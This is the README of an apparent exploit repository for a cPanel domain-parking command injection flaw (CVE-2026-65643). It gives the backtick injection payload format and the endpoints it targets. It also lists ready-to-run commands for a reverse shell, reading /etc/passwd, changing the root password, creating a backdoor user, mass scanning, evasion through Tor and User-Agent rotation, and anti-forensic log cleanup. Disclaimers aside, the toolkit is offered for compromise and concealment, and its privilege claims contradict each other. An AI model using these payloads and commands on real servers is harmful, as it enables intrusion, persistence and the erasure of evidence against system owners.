CVEPoC

CVE‑2026‑65643 – cPanel Domain Parking RCE Toolkit

⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.

📖 Vulnerability Overview

CVE‑2026‑65643 is a critical command injection vulnerability in cPanel & WHM versions 11.x that allows an authenticated cPanel user to execute arbitrary system commands with root privileges via the domain parking functionality.

How it works

Authenticated access required – the attacker must have a valid cPanel account (username/password) on the target server.
Domain parking injection – when adding a parked domain, the domain name is not properly sanitized, allowing the attacker to inject shell commands using backticks (`).
Command execution – the injected command is executed by the system with the privileges of the cPanel user, which can be escalated to root via privilege escalation techniques.
Root privileges – because the domain parking operation runs with sufficient permissions, arbitrary commands can be executed with high privileges.
Impact – full server compromise, data theft, backdoors, ransomware, and lateral movement. Upgrade immediately!

Affected Versions

cPanel & WHM 11.110.0.140 and earlier – vulnerable
11.134.0.52 and earlier – vulnerable
11.136.0.36 and earlier – vulnerable
11.138.0.1 and earlier – vulnerable
11.138.1.6 and later – patched

Patch

Upgrade to cPanel & WHM 11.138.1.6, 11.138.0.2, 11.136.0.37, 11.134.0.53, or 11.110.0.141 or newer.
If upgrade is not possible, disable domain parking permissions for cPanel users as a temporary workaround.

🧰 Tools

Tool	Purpose	Intended User
`exploit.py`	Full weaponized toolkit with reverse shell, webshell, persistence, file read/write, root password change, mass scanning, Tor support, and OPSEC features.	Red teams / authorized pentesters

📊 Feature Comparison

🎯 Use Case Summary

⚙️ Installation

git clone https://github.com/tc4dy/CVE-2026-65643-PoC-Toolkit
cd CVE-2026-65643-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

requests
urllib3

📋 Parameters

`exploit.py` Parameters

`verifier.py` Parameters

💥 Scenarios

🧪 Endpoint & Injection Methods

The exploit uses the following cPanel endpoints and injection methods:

Payload Format

# Injection payload format
test.com`<command>`

# Example
test.com`id`
test.com`whoami`
test.com`echo 'pwned' > /tmp/pwned`

🛡️ Responsible Use

Only use these tools on systems you own or have explicit written permission to test.
Unauthorized access is illegal and unethical.
The authors are not responsible for any misuse.
Always follow your country's laws and regulations.

This software is provided for educational purposes and authorized security testing only.

Vulnerability detection	✅	✅
Version detection (4 endpoints)	✅	✅
Command injection	✅	❌
Reverse shell	✅	❌
WebShell upload	✅	❌
Persistence (cPanel user creation)	✅	❌
Root password change	✅	❌
File read/write	✅	❌
4 injection methods (JSON/Form/CGI/API2)	✅	✅
Tor support (anonymity)	✅	❌
User‑Agent rotation (OPSEC)	✅	❌
Jitter (OPSEC)	✅	❌
Mass scanning (multi‑thread)	✅	❌
Interactive shell	✅	❌
Non‑intrusive (safe) mode	❌	✅
Timeline logging	✅	✅
HTML report	✅	❌
JSON report	✅	✅
Log cleanup (anti‑forensic)	✅	✅
Proxy support	✅	✅
Custom User‑Agent	✅	✅
SSL verification control	✅	✅

Blue Team – verifying if your cPanel installation is vulnerable	`verifier.py`
Security Audit – non‑intrusive vulnerability assessment	`verifier.py`
Red Team – authorized penetration testing with full exploitation	`exploit.py`
Bug Bounty – responsible disclosure testing	`verifier.py`
Mass Scanning – checking multiple targets for vulnerability	`exploit.py` (detection only)
Incident Response – checking if systems are compromised	`verifier.py`

`-t, --target`	Target cPanel URL (e.g. `https://cpanel.example.com:2083`)
`-l, --target-file`	File containing list of targets (one per line) for mass scanning
`-u, --username`	cPanel username
`-P, --password`	cPanel password
`-p, --port`	Override cPanel port (default from URL or 2083)
`--threads`	Number of threads for multi‑target (default: 10)
`-o, --output`	Save JSON report to file
`--html-report`	Save HTML report to file
`-v, --verbose`	Verbose output
`--proxy`	HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`)
`--tor`	Route through Tor (localhost:9050)
`-ua, --user-agent`	Custom User‑Agent
`--no-keep-alive`	Do not keep session alive
`--delay`	Delay between requests (default: 2.0s)
`--jitter`	Random jitter (0‑1 sec) between requests (default: 0.5)
`--max-retries`	Max retries (default: 5)
`--ssl-verify`	Verify SSL certificates
`--timeout`	Request timeout (default: 15s)
`--cmd`	Execute a single command on the target
`--reverse-shell`	Reverse shell IP:PORT
`--passwd`	Change root password
`--adduser`	Create cPanel user (USER DOMAIN PASSWORD)
`--read`	Read a file
`--write`	Write a file (specify path)
`--write-content`	Content to write
`--cleanup`	Clean logs and history after exploitation
`-i, --interactive`	Interactive shell after exploitation
`--domain-suffix`	Suffix for parked domain (default: exploit.local)

`-t, --target`	Target cPanel URL (e.g. `https://cpanel.example.com:2083`)
`-u, --username`	cPanel username
`-P, --password`	cPanel password
`-o, --output`	Save JSON report to file
`-v, --verbose`	Verbose output
`--proxy`	HTTP/HTTPS proxy (e.g. `http://127.0.0.1:8080`)
`--tor`	Route through Tor (localhost:9050)
`--ssl-verify`	Verify SSL certificates
`--timeout`	Request timeout (default: 15s)
`--cleanup`	Clean logs after test

1	Quick vulnerability check	`python verifier.py -t https://cpanel.example.com:2083 -u user -P pass`
2	Detailed scan with report	`python verifier.py -t https://cpanel.example.com:2083 -u user -P pass -o report.json -v`
3	Reverse shell	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444`
4	Execute command	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cmd "whoami"`
5	Read sensitive file	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd`
6	Change root password	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123`
7	Create new cPanel user (persistence)	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123`
8	Interactive shell after exploitation	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i`
9	Mass scanning from file	`python exploit.py -l targets.txt -u user -P pass --threads 20 -o results.json`
10	Use proxy, Tor, and custom User‑Agent	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 --tor -ua "Mozilla/5.0"`
11	Clean logs after exploitation	`python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cleanup`

JSON API	`/cpsessXXXXX/json-api/domain`	Primary injection method via JSON payload
Form Data	`/cpsessXXXXX/json-api/domain`	Alternative injection via form-encoded data
CGI Script	`/cgi-sys/domainpark.cgi`	Legacy CGI endpoint injection
API2	`/cpsessXXXXX/json-api/cpanel`	Legacy API2 injection method

最受欢迎

CVE-2026-65643-PoC-Toolkit